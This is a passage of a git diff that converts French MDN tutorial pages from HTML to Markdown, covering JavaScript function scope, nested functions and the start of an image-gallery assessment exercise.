'frogs']; var madeAString = myArray.join(' '); // renvoie 'I love chocolate frogs' var madeAString = myArray.join(); -// renvoie 'I,love,chocolate,frogs'</pre> +// renvoie 'I,love,chocolate,frogs' +``` -<p>Si aucun paramètre n'est inclus pour spécifier un caractère de jointure / délimitation, une virgule est utilisée par défaut.</p> +Si aucun paramètre n'est inclus pour spécifier un caractère de jointure / délimitation, une virgule est utilisée par défaut. -<h2 id="La_portée_des_fonctions_et_les_conflits.">La portée des fonctions et les conflits.</h2> +## La portée des fonctions et les conflits. -<p>Parlons un peu de la {{glossary("portée")}} — un concept très important lorsque l'on a affaire à des fonctions. Lorsque vous créez une fonction, les variables et les autres choses qui sont définies à l'intérieur de la fonction ont leur propre <strong>portée</strong>, ce qui signifie qu'elles sont enfermées dans leur propre compartiment séparé et qu'elles ne peuvent pas être affectées par d'autres fonctions ou par le code en dehors de la fonction.</p> +Parlons un peu de la {{glossary("portée")}} — un concept très important lorsque l'on a affaire à des fonctions. Lorsque vous créez une fonction, les variables et les autres choses qui sont définies à l'intérieur de la fonction ont leur propre **portée**, ce qui signifie qu'elles sont enfermées dans leur propre compartiment séparé et qu'elles ne peuvent pas être affectées par d'autres fonctions ou par le code en dehors de la fonction. -<p>Le plus haut niveau en dehors de toutes vos fonctions est appelé la <strong>portée globale</strong>. Les valeurs définies dans la portée globale sont accessibles à partir de n'importe qu'elle partie du code.</p> +Le plus haut niveau en dehors de toutes vos fonctions est appelé la **portée globale**. Les valeurs définies dans la portée globale sont accessibles à partir de n'importe qu'elle partie du code. -<p>Le JavaScript est construit de cette façon pour plusieurs raisons — mais principalement à cause de la sécurité et de l'organisation. Parfois, vous ne voulez pas que vos variables soient accessibles depuis toutes les autres parties du code — des script externes appelés depuis l'extérieur de la fonction pourraient interférer avec votre code et causer des problèmes parce qu'ils utilisent les mêmes noms de variables que d'autres parties du code, provoquant des conflits. Cela peut être fait de manière malveillante ou simplement par accident.</p> +Le JavaScript est construit de cette façon pour plusieurs raisons — mais principalement à cause de la sécurité et de l'organisation. Parfois, vous ne voulez pas que vos variables soient accessibles depuis toutes les autres parties du code — des script externes appelés depuis l'extérieur de la fonction pourraient interférer avec votre code et causer des problèmes parce qu'ils utilisent les mêmes noms de variables que d'autres parties du code, provoquant des conflits. Cela peut être fait de manière malveillante ou simplement par accident. -<p>Par exemple, disons que vous avez un fichier HTML qui appelle deux fichiers JavaScript externes, et que les deux ont une variable et une fonction définie qui utilisent le même nom :</p> +Par exemple, disons que vous avez un fichier HTML qui appelle deux fichiers JavaScript externes, et que les deux ont une variable et une fonction définie qui utilisent le même nom : -<pre class="brush: html"><!-- Excerpt from my HTML --> -<script src="first.js"></script> -<script src="second.js"></script> -<script> +```html +<!-- Excerpt from my HTML --> +<script src="first.js"></script> +<script src="second.js"></script> +<script> greeting(); -</script></pre> +</script> +``` -<pre class="brush: js">// first.js +```js +// first.js var name = 'Chris'; function greeting() { alert('Hello ' + name + ': welcome to our company.'); -}</pre> +} +``` -<pre class="brush: js">// second.js +```js +// second.js var name = 'Zaptec'; function greeting() { alert('Our company is called ' + name + '.'); -}</pre> +} +``` -<p>Les deux fonctions que vous voulez appeler s'appellent <code>greeting()</code>, mais vous ne pouvez accéder qu'à la fonction <code>greeting()</code> du second fichier <code>second.js</code> — car celui-ci est appliqué au code HTML plus tard dans le code source, de sorte que sa variable et sa fonction écrasent celles du premier fichier <code>first.js</code>.</p> +Les deux fonctions que vous voulez appeler s'appellent `greeting()`, mais vous ne pouvez accéder qu'à la fonction `greeting()` du second fichier `second.js` — car celui-ci est appliqué au code HTML plus tard dans le code source, de sorte que sa variable et sa fonction écrasent celles du premier fichier `first.js`. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir cet exemple <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">s'exécuter sur GitHub</a> (voir aussi le <a href="https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">code source</a>).</p> -</div> +> **Note :** Vous pouvez voir cet exemple [s'exécuter sur GitHub](http://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html) (voir aussi le [code source](https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions)). -<p>En conservant des parties de votre code enfermées dans des fonctions, vous évitez de tels problèmes. Cette procédure est considérée comme une bonne pratique.</p> +En conservant des parties de votre code enfermées dans des fonctions, vous évitez de tels problèmes. Cette procédure est considérée comme une bonne pratique. -<p>C'est un peu comme au zoo. Les lions, zèbres, tigres et pingouins sont enfermés dans leurs propres enclos, et n'ont accès qu'aux éléments se trouvant à l'intérieur de leur enclos — de la même manière que la portée des fonctions. S'il leur était possible de pénétrer dans les autres enclos, des problèmes se produiraient. Au mieux, des animaux différents seraient dans l'inconfort au sein d'un habitat étranger — un lion ou un tigre se sentirait très mal dans l'environnement humide et glacé des pingouins. Au pire, les lions et les tigres pourraient essayer de manger les pingouins !</p> +C'est un peu comme au zoo. Les lions, zèbres, tigres et pingouins sont enfermés dans leurs propres enclos, et n'ont accès qu'aux éléments se trouvant à l'intérieur de leur enclos — de la même manière que la portée des fonctions. S'il leur était possible de pénétrer dans les autres enclos, des problèmes se produiraient. Au mieux, des animaux différents seraient dans l'inconfort au sein d'un habitat étranger — un lion ou un tigre se sentirait très mal dans l'environnement humide et glacé des pingouins. Au pire, les lions et les tigres pourraient essayer de manger les pingouins ! -<p><img alt="" src="MDN-mozilla-zoo.png"></p> + -<p>Le gardien du zoo est comme la portée globale — il ou elle a les clefs pour accéder à chaque enclos, pour l'approvisionner en nourriture, soigner les animaux malades, ...etc.</p> +Le gardien du zoo est comme la portée globale — il ou elle a les clefs pour accéder à chaque enclos, pour l'approvisionner en nourriture, soigner les animaux malades, ...etc. -<h3 id="Apprentissage_actif_Jouer_avec_la_portée">Apprentissage actif : Jouer avec la portée</h3> +### Apprentissage actif : Jouer avec la portée -<p>Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la portée.</p> +Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la portée. -<ol> - <li>Tout d'abord, faisons un copie locale de notre exemple <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html">function-scope.html</a>. Celui-ci contient deux fonctions appelées <code>a()</code> et <code>b()</code>, et trois variables — <code>x</code>, <code>y</code>, and <code>z</code> — deux d'entre elles sont définies à l'intérieur de la fonction, et l'autre dans la portée globale. Il contient également une troisième fonction appelée <code>output()</code>, qui prend un seul paramètre et le renvoie dans un paragraphe de la page.</li> - <li>Ouvrez l'exemple ci-dessus dans un navigateur et dans un éditeur de texte.</li> - <li>Ouvrez la console JavaScript dans les outils de développement de votre navigateur et entrez la commande suivante : - <pre class="brush: js">output(x);</pre> - Vous devriez voir la valeur de la variable <code>x</code> renvoyée à l'écran.</li> - <li>Maintenant essayez d'entrer les commandes suivantes : - <pre class="brush: js">output(y); -output(z);</pre> +1. Tout d'abord, faisons un copie locale de notre exemple [function-scope.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-scope.html). Celui-ci contient deux fonctions appelées `a()` et `b()`, et trois variables — `x`, `y`, and `z` — deux d'entre elles sont définies à l'intérieur de la fonction, et l'autre dans la portée globale. Il contient également une troisième fonction appelée `output()`, qui prend un seul paramètre et le renvoie dans un paragraphe de la page. +2. Ouvrez l'exemple ci-dessus dans un navigateur et dans un éditeur de texte. +3. Ouvrez la console JavaScript dans les outils de développement de votre navigateur et entrez la commande suivante : - <p>Toutes les deux devraient vous renvoyer un message d'erreur du type : "<a href="/fr/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: y is not defined</a>". Pourquoi ? À cause de la portée de la fonction — <code>y</code> and <code>z</code> sont enfermées dans les fonctions <code>a()</code> et <code>b()</code>, donc <code>output()</code> ne peut pas les atteindre lorsqu'elles sont appelées depuis la portée globale.</p> - </li> - <li> - <p>Néanmoins, que se passe-t-il losqu'elles sont appelées de l'intérieur d'une autre fonction ? Essayer d'éditer <code>a()</code> et <code>b()</code> pour qu'elles aient la forme suivante :</p> + ```js + output(x); + ``` - <pre class="brush: js">function a() { - var y = 2; - output(y); -} + Vous devriez voir la valeur de la variable `x` renvoyée à l'écran. -function b() { - var z = 3; - output(z); -}</pre> - Sauvegardez le code et rechargez-le dans votre navigateur, puis essayez d'appeler les fonctions <code>a()</code> et <code>b()</code> depuis la console JavaScript : - - <pre class="brush: js">a(); -b();</pre> - Vous devriez voir les valeurs <code>y</code> and <code>z</code> renvoyées sur la page. Cela fonctionne très bien car la fonction <code>output()</code> est applée à l'intérieur des autres fonctions — dans la portée dans laquelle les variables qu'elle renvoie sont définies. La fonction <code>output()</code> est elle-même disponible n'importe où dans le code, car elle est définie dans la portée globale.</li> - <li>Maintenant essayer de mettre à jour le code comme ceci : - <pre class="brush: js">function a() { - var y = 2; - output(x); -} +4. Maintenant essayez d'entrer les commandes suivantes : -function b() { - var z = 3; - output(x); -}</pre> - Sauvegardez et rechargez à nouveau dans la console JavaScript :</li> - <li> - <pre class="brush: js">a(); -b();</pre> - Les deux fonctions <code>a()</code> et <code>b()</code> appelées devraient renvoyer la valeur x — 1. Cela fonctionne très bien car même si la fonction <code>output()</code> n'est pas dans la même portée que celle dans laquelle <code>x</code> est définie, <code>x</code> est une variable globale et donc elle est disponible dans n'importe quelle partie du code.</li> - <li>Pour finir, essayez de mettre à jour le code comme ceci : - <pre class="brush: js">function a() { - var y = 2; - output(z); -} + ```js + output(y); + output(z); + ``` + + Toutes les deux devraient vous renvoyer un message d'erreur du type : "[ReferenceError: y is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined)". Pourquoi ? À cause de la portée de la fonction — `y` and `z` sont enfermées dans les fonctions `a()` et `b()`, donc `output()` ne peut pas les atteindre lorsqu'elles sont appelées depuis la portée globale. -function b() { - var z = 3; - output(y); -}</pre> - </li> - <li>Sauvegardez et rechargez à nouveau dans la console JavaScript : - <pre class="brush: js">a(); -b();</pre> - Cette fois l'appel de <code>a()</code> et <code>b()</code> renverra l'erreur "<a href="/fr/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: z is not defined</a>" — parce que l'appel de la fonction <code>output()</code> et des variables qu'elle essaie d'afficher ne sont pas définis dans les mêmes portées — les variables sont en effet invisibles pour cet appel de fonction.</li> -</ol> +5. Néanmoins, que se passe-t-il losqu'elles sont appelées de l'intérieur d'une autre fonction ? Essayer d'éditer `a()` et `b()` pour qu'elles aient la forme suivante : -<div class="note"> -<p><strong>Note :</strong> Ces règles de portée ne s'appliquent pas aux boucles (ex. <code>for() { ... }</code>) ni aux instructions conditionnelles (ex. <code>if() { ... }</code>) — elles semblent très similaires, mais ce n'est pas la même chose ! Prenez garde de ne pas les confondre.</p> -</div> + ```js + function a() { + var y = 2; + output(y); + } -<div class="note"> -<p><strong>Note :</strong> Le message d'erreur <a href="/fr/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a> est l'un des plus courant que vous pourrez rencontrer. S'il s'affiche et que vous êtes sûr d'avoir défini la variable en question, vérifiez quelle est sa portée.</p> -</div> + function b() { + var z = 3; + output(z); + } + ``` -<h3 id="Des_fonctions_à_lintérieur_de_fonctions">Des fonctions à l'intérieur de fonctions</h3> + Sauvegardez le code et rechargez-le dans votre navigateur, puis essayez d'appeler les fonctions `a()` et `b()` depuis la console JavaScript : -<p>Gardez à l'esprit que vous pouvez appeler une fonction de n'importe où, même à l'intérieur d'une autre fonction. Ceci est souvent utilisé comme un moyen de garder le code bien organisé — si vous avez une grande fonction complexe, elle est plus facile à comprendre si vous la divisez en plusieurs sous-fonctions :</p> + ```js + a(); + b(); + ``` -<pre class="brush: js">function myBigFunction() { + Vous devriez voir les valeurs `y` and `z` renvoyées sur la page. Cela fonctionne très bien car la fonction `output()` est applée à l'intérieur des autres fonctions — dans la portée dans laquelle les variables qu'elle renvoie sont définies. La fonction `output()` est elle-même disponible n'importe où dans le code, car elle est définie dans la portée globale. + +6. Maintenant essayer de mettre à jour le code comme ceci : + + ```js + function a() { + var y = 2; + output(x); + } + + function b() { + var z = 3; + output(x); + } + ``` + + Sauvegardez et rechargez à nouveau dans la console JavaScript : + +7. ```js + a(); + b(); + ``` + + Les deux fonctions `a()` et `b()` appelées devraient renvoyer la valeur x — 1. Cela fonctionne très bien car même si la fonction `output()` n'est pas dans la même portée que celle dans laquelle `x` est définie, `x` est une variable globale et donc elle est disponible dans n'importe quelle partie du code. + +8. Pour finir, essayez de mettre à jour le code comme ceci : + + ```js + function a() { + var y = 2; + output(z); + } + + function b() { + var z = 3; + output(y); + } + ``` + +9. Sauvegardez et rechargez à nouveau dans la console JavaScript : + + ```js + a(); + b(); + ``` + + Cette fois l'appel de `a()` et `b()` renverra l'erreur "[ReferenceError: z is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined)" — parce que l'appel de la fonction `output()` et des variables qu'elle essaie d'afficher ne sont pas définis dans les mêmes portées — les variables sont en effet invisibles pour cet appel de fonction. + +> **Note :** Ces règles de portée ne s'appliquent pas aux boucles (ex. `for() { ... }`) ni aux instructions conditionnelles (ex. `if() { ... }`) — elles semblent très similaires, mais ce n'est pas la même chose ! Prenez garde de ne pas les confondre. + +> **Note :** Le message d'erreur [ReferenceError: "x" is not defined](/fr/docs/Web/JavaScript/Reference/Errors/Not_defined) est l'un des plus courant que vous pourrez rencontrer. S'il s'affiche et que vous êtes sûr d'avoir défini la variable en question, vérifiez quelle est sa portée. + +### Des fonctions à l'intérieur de fonctions + +Gardez à l'esprit que vous pouvez appeler une fonction de n'importe où, même à l'intérieur d'une autre fonction. Ceci est souvent utilisé comme un moyen de garder le code bien organisé — si vous avez une grande fonction complexe, elle est plus facile à comprendre si vous la divisez en plusieurs sous-fonctions : + +```js +function myBigFunction() { var myValue; subFunction1(); @@ -340,11 +403,12 @@ function subFunction2() { function subFunction3() { console.log(myValue); } -</pre> +``` -<p>Assurez-vous simplement que les valeurs utilisées dans la fonction ont une portée correcte. L'exemple ci-dessus entraînerait une erreur <code>ReferenceError: myValue is not defined</code>, car bien que la valeur <code>myValue</code> est définie dans la même portée que les appels de fonction, elle n'est pas définie dans les définitions de fonctions - le code réel qui est exécuté lorsque les fonctions sont appelées. Pour que cela fonctionne, vous devez passer la valeur dans la fonction en tant que paramètre, comme ceci :</p> +Assurez-vous simplement que les valeurs utilisées dans la fonction ont une portée correcte. L'exemple ci-dessus entraînerait une erreur `ReferenceError: myValue is not defined`, car bien que la valeur `myValue` est définie dans la même portée que les appels de fonction, elle n'est pas définie dans les définitions de fonctions - le code réel qui est exécuté lorsque les fonctions sont appelées. Pour que cela fonctionne, vous devez passer la valeur dans la fonction en tant que paramètre, comme ceci : -<pre class="brush: js">function myBigFunction() { +```js +function myBigFunction() { var myValue = 1; subFunction1(myValue); @@ -362,32 +426,28 @@ function subFunction2(value) { function subFunction3(value) { console.log(value); -}</pre> +} +``` -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Cet article a exploré les concepts fondamentaux inhérents aux fonctions, ouvrant la voie au suivant dans lequel nous passerons à la pratique et vous guiderons à travers les étapes pour construire votre propre fonction personnalisée.</p> +Cet article a exploré les concepts fondamentaux inhérents aux fonctions, ouvrant la voie au suivant dans lequel nous passerons à la pratique et vous guiderons à travers les étapes pour construire votre propre fonction personnalisée. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Fonctions</a> — aborde certaines fonctionnalités avancées non incluses ici.</li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_d%C3%A9faut_des_arguments">Valeur par défaut des arguments</a>, <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">Fonctions fléchées</a> — références avancées</li> -</ul> +- [Fonctions](/fr/docs/Web/JavaScript/Guide/Fonctions) — aborde certaines fonctionnalités avancées non incluses ici. +- [Valeur par défaut des arguments](/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_d%C3%A9faut_des_arguments), [Fonctions fléchées](/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es) — références avancées -<ul> -</ul> +<!----> -<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/conditionals">Prendre des décisions dans le code — conditions</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Looping_code">Les boucles dans le code</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Fonctions">Fonctions — des blocs de code réutilisables</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function">Construire votre propre fonction</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Return_values">Valeurs de retour des fonctions</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements">Introduction aux évènements</a></li> - <li><a href="/fr/Apprendre/JavaScript/Building_blocks/Image_gallery">Galerie d'images</a></li> -</ul> +- [Prendre des décisions dans le code — conditions](/fr/Apprendre/JavaScript/Building_blocks/conditionals) +- [Les boucles dans le code](/fr/Apprendre/JavaScript/Building_blocks/Looping_code) +- [Fonctions — des blocs de code réutilisables](/fr/Apprendre/JavaScript/Building_blocks/Fonctions) +- [Construire votre propre fonction](/fr/Apprendre/JavaScript/Building_blocks/Build_your_own_function) +- [Valeurs de retour des fonctions](/fr/Apprendre/JavaScript/Building_blocks/Return_values) +- [Introduction aux évènements](/fr/Apprendre/JavaScript/Building_blocks/Ev%C3%A8nements) +- [Galerie d'images](/fr/Apprendre/JavaScript/Building_blocks/Image_gallery) diff --git a/files/fr/learn/javascript/building_blocks/image_gallery/index.md b/files/fr/learn/javascript/building_blocks/image_gallery/index.md index bc09ea1194..78d6530000 100644 --- a/files/fr/learn/javascript/building_blocks/image_gallery/index.md +++ b/files/fr/learn/javascript/building_blocks/image_gallery/index.md @@ -15,148 +15,135 @@ tags: translation_of: Learn/JavaScript/Building_blocks/Image_gallery original_slug: Apprendre/JavaScript/Building_blocks/Image_gallery --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}} -<div>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div> - -<p>Maintenant que nous avons examiné les blocs fondamentaux de construction de JavaScript, nous allons tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en vous aidant à créer un élément assez commun que vous verrez sur de nombreux sites web. Une galerie JavaScript animée.</p> +Maintenant que nous avons examiné les blocs fondamentaux de construction de JavaScript, nous allons tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en vous aidant à créer un élément assez commun que vous verrez sur de nombreux sites web. Une galerie JavaScript animée. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Conditions préalables:</th> - <td>Avant de tenter cette évaluation, vous devriez avoir parcouru tous les articles de ce module. </td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Tester la compréhension des boucles, des fonctions, des conditions et des événements JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Conditions préalables:</th> + <td> + Avant de tenter cette évaluation, vous devriez avoir parcouru tous les + articles de ce module. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Tester la compréhension des boucles, des fonctions, des conditions et + des événements JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> - -<p>Pour réaliser cette évaluation, vous devez récupérer le fichier<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/gallery/gallery-start.zip?raw=true"> ZIP</a> et le décompresser quelque par sur votre ordinateur.</p> +## Point de départ -<p>Vous pouvez également utiliser un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour effectuer votre évalution. Vous pouvez copier le code HTML,CSS et JavaScript dans l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas de panneaux JavaScript/CSS séparés, n'hésitez pas à utiliser les éléments <code><script></code>/<code><style></code> dans la page HTML.</p> +Pour réaliser cette évaluation, vous devez récupérer le fichier[ ZIP](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/gallery/gallery-start.zip?raw=true) et le décompresser quelque par sur votre ordinateur. -<div class="note"> -<p><strong>Note :</strong> Si vous êtes bloqué, demandez-nous de l'aide — voir la section {{anch("Évaluation ou aide supplémentaire")}} au bas de cette page.</p> -</div> +Vous pouvez également utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour effectuer votre évalution. Vous pouvez copier le code HTML,CSS et JavaScript dans l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas de panneaux JavaScript/CSS séparés, n'hésitez pas à utiliser les éléments `<script>`/`<style>` dans la page HTML. -<h2 id="Résumé_du_projet">Résumé du projet</h2> +> **Note :** Si vous êtes bloqué, demandez-nous de l'aide — voir la section {{anch("Évaluation ou aide supplémentaire")}} au bas de cette page. -<p>Vous avez reçu des fichiers HTML, CSS, des images et quelques lignes de code JavaScript; vous devez écrire le code JavaScript nécessaire pour en faire un programme fonctionnel. Le corps HTML ressemble à ceci:</p> +## Résumé du projet -<pre class="brush: html"><h1>Image gallery example</h1> +Vous avez reçu des fichiers HTML, CSS, des images et quelques lignes de code JavaScript; vous devez écrire le code JavaScript nécessaire pour en faire un programme fonctionnel. Le corps HTML ressemble à ceci: -<div class="full-img"> - <img class="displayed-img" src="images/pic1.jpg"> - <div class="overlay"></div> - <button class="dark">Darken</button> -</div> +```html +<h1>Image gallery example</h1> -<div class="thumb-bar"> +<div class="full-img"> + <img class="displayed-img" src="images/pic1.jpg"> + <div class="overlay"></div> + <button class="dark">Darken</button> +</div> -</div></pre> +<div class="thumb-bar"> -<p>L'exemple ressemble à ceci:</p> +</div> +``` -<p><img alt="" src="gallery.png"></p> +L'exemple ressemble à ceci: + -<p>Les parties les plus intéressantes du fichier CSS de l'exemple:</p> +Les parties les plus intéressantes du fichier CSS de l'exemple: -<ul> - <li>Positionnez les trois éléments en absolu à l’intérieur du <code>full-img <div></code>: le <code><img></code> dans lequel l’image est affichée grandeur nature, un <code><div></code> vide dimensionné à la même taille que le <code><img></code> et placé juste au-dessus (ceci est utilisé pour appliquer un effet assombrissant à l'image via une couleur d'arrière-plan semi-transparente), et un bouton <code><button></code>qui est utilisé pour contrôler l'effet d'assombrissement.</li> - <li>Réglez la largeur des images à l'intérieur de <code>thumb-bar <div></code>(appelées images miniatures) à 20% et faites un float à gauche pour qu'elles soient côte-à-côte sur une ligne.</li> -</ul> +- Positionnez les trois éléments en absolu à l’intérieur du `full-img <div>`: le `<img>` dans lequel l’image est affichée grandeur nature, un `<div>` vide dimensionné à la même taille que le `<img>` et placé juste au-dessus (ceci est utilisé pour appliquer un effet assombrissant à l'image via une couleur d'arrière-plan semi-transparente), et un bouton `<button>`qui est utilisé pour contrôler l'effet d'assombrissement. +- Réglez la largeur des images à l'intérieur de `thumb-bar <div>`(appelées images miniatures) à 20% et faites un float à gauche pour qu'elles soient côte-à-côte sur une ligne. -<p>Votre JavaScript doit:</p> +Votre JavaScript doit: -<ul> - <li>Itérer toutes les images dans une boucle, et pour chacune d'elle, insérer un élément <code><img></code> à l'intérieur de <code>thumb-bar <div></code> qui va incorporer cette image dans la page.</li> - <li>Associer un gestionnaire d'événement <code>onclick</code> à chaque <code><img></code> à l'intérieur de <code>thumb-bar <div></code> pour que, lorsqu'elles sont cliquées, l'image correspondante soit affichée dans l'élément <code>displayed-img <img></code>.</li> - <li>Associer un gestionnaire d'événement <code>onclick</code> au <code><button></code> pour que, lorsqu'il est cliqué, un effet assombrissant soit appliqué à l'image grandeur nature. Losrqu'il est cliqué à nouveau, l'effet doit disparaitre.</li> -</ul> +- Itérer toutes les images dans une boucle, et pour chacune d'elle, insérer un élément `<img>` à l'intérieur de `thumb-bar <div>` qui va incorporer cette image dans la page. +- Associer un gestionnaire d'événement `onclick` à chaque `<img>` à l'intérieur de `thumb-bar <div>` pour que, lorsqu'elles sont cliquées, l'image correspondante soit affichée dans l'élément `displayed-img <img>`. +- Associer un gestionnaire d'événement `onclick` au `<button>` pour que, lorsqu'il est cliqué, un effet assombrissant soit appliqué à l'image grandeur nature. Losrqu'il est cliqué à nouveau, l'effet doit disparaitre. -<p>Pour vous donner une idée, regardez l'<a href="http://mdn.github.io/learning-area/javascript/building-blocks/gallery/">exemple</a> (Ne regardez pas le code source!).</p> +Pour vous donner une idée, regardez l'[exemple](http://mdn.github.io/learning-area/javascript/building-blocks/gallery/) (Ne regardez pas le code source!). -<h2 id="Les_différentes_étapes">Les différentes étapes</h2> +## Les différentes étapes -<p>Les sections suivantes décrivent ce que vous avez à faire.</p> +Les sections suivantes décrivent ce que vous avez à faire. -<h3 id="Itération_sur_les_images">Itération sur les images</h3> +### Itération sur les images -<p>Nous vous avons fourni des lignes qui storent une référence à <code>thumb-bar <div></code> dans une variable nommée <code>thumbBar</code>, créent un nouvel élément <code><img></code>, définissent son attribut <code>src</code> à un emplacement de valueur <code>xxx</code>, et ajoutent ce nouvel élément <code><img></code> dans <code>thumbBar</code>.</p> +Nous vous avons fourni des lignes qui storent une référence à `thumb-bar <div>` dans une variable nommée `thumbBar`, créent un nouvel élément `<img>`, définissent son attribut `src` à un emplacement de valueur `xxx`, et ajoutent ce nouvel élément `<img>` dans `thumbBar`. -<p>Vous avez besoin de:</p> +Vous avez besoin de: -<ol> - <li>Ajouter votre code en-dessous du commentaire <em>Looping through images</em> à l'intérieur d'une boucle qui itère sur les 5 images — vous n'avez besoin que de 5 itérations, chacune représentant une image.</li> - <li>Remplacez, pour chaque itération, la valeur <code>xxx</code> de l'emplacement par une chaîne de caractères qui correspond au chemin de l'image considérée. Il faut définir la valeur de l'attribut <code>src</code> dans chaque cas. Gardez à l'esprit que, à chaque fois, l'image est dans le répertoire des images et que son nom est <code>pic1.jpg</code>, <code>pic2.jpg</code>, etc.</li> -</ol> +1. Ajouter votre code en-dessous du commentaire _Looping through images_ à l'intérieur d'une boucle qui itère sur les 5 images — vous n'avez besoin que de 5 itérations, chacune représentant une image. +2. Remplacez, pour chaque itération, la valeur `xxx` de l'emplacement par une chaîne de caractères qui correspond au chemin de l'image considérée. Il faut définir la valeur de l'attribut `src` dans chaque cas. Gardez à l'esprit que, à chaque fois, l'image est dans le répertoire des images et que son nom est `pic1.jpg`, `pic2.jpg`, etc. -<h3 id="Ajout_dun_gestionnaire_onclick_à_chaque_miniature">Ajout d'un gestionnaire onclick à chaque miniature</h3> +### Ajout d'un gestionnaire onclick à chaque miniature -<p>À chaque itération, vous devez ajouter un gestionnaire <code>onclick</code> au <code>newImage</code> courant. Il doit:</p> +À chaque itération, vous devez ajouter un gestionnaire `onclick` au `newImage` courant. Il doit: -<ol> - <li>Trouver la valeur de l'attribut <code>src</code> de l'image courante. Cela peut être fait avec la fonction <code><a href="/fr/docs/Web/API/Element/getAttribute">getAttribute()</a></code> sur <code><img></code>, en lui passant le paramètre <code>"src"</code> à chaque fois. Mais comment avoir l'image? Utiliser <code>newImage</code> ne marche pas du fait que la boucle est finie avant que le gestionnaire d'événement ne soit appelé; de cette manière, la valeur de <code>src</code> sera toujours celle du dernier <code><img></code>. Pour résoudre cela, gardez à l'esprit que, pour chaque gestionnaire d'événement, c'est <code><img></code> qui en est la cible. Pourquoi ne pas récupérer l'information de l'objet événement?</li> - <li>Exécuter une fonction, en lui passant en paramètre la fameuse valeur de <code>src</code>. Vous pouvez nommer la fonction à votre guise.</li> - <li>Cette fonction du gestionnaire d'événement doit définir la valeur de l'attribut <code>src</code> de <code>displayed-img <img></code> à la valeur du <code>src</code> passé en paramètre. Nous vous avons fourni une ligne qui stocke une référence de l'<code><img></code> concerné dans une variable nommée <code>displayedImg</code>. Notez que nous voulons une fonction nommée.</li> -</ol> +1. Trouver la valeur de l'attribut `src` de l'image courante. Cela peut être fait avec la fonction [`getAttribute()`](/fr/docs/Web/API/Element/getAttribute) sur `<img>`, en lui passant le paramètre `"src"` à chaque fois. Mais comment avoir l'image? Utiliser `newImage` ne marche pas du fait que la boucle est finie avant que le gestionnaire d'événement ne soit appelé; de cette manière, la valeur de `src` sera toujours celle du dernier `<img>`. Pour résoudre cela, gardez à l'esprit que, pour chaque gestionnaire d'événement, c'est `<img>` qui en est la cible. Pourquoi ne pas récupérer l'information de l'objet événement? +2. Exécuter une fonction, en lui passant en paramètre la fameuse valeur de `src`. Vous pouvez nommer la fonction à votre guise. +3. Cette fonction du gestionnaire d'événement doit définir la valeur de l'attribut `src` de `displayed-img <img>` à la valeur du `src` passé en paramètre. Nous vous avons fourni une ligne qui stocke une référence de l'`<img>` concerné dans une variable nommée `displayedImg`. Notez que nous voulons une fonction nommée. -<h3 id="Écrire_le_gestionnaire_du_bouton_dassombrissement">Écrire le gestionnaire du bouton d'assombrissement</h3> +### Écrire le gestionnaire du bouton d'assombrissement -<p>Il ne reste que notre <code><button></code> d'assombrissement — nous vous avons fourni une ligne qui stocke une référence au <code><button></code> dans une variable appelée <code>btn</code>. Vous devez ajouter un gestionnaire <code>onclick</code> qui:</p> +Il ne reste que notre `<button>` d'assombrissement — nous vous avons 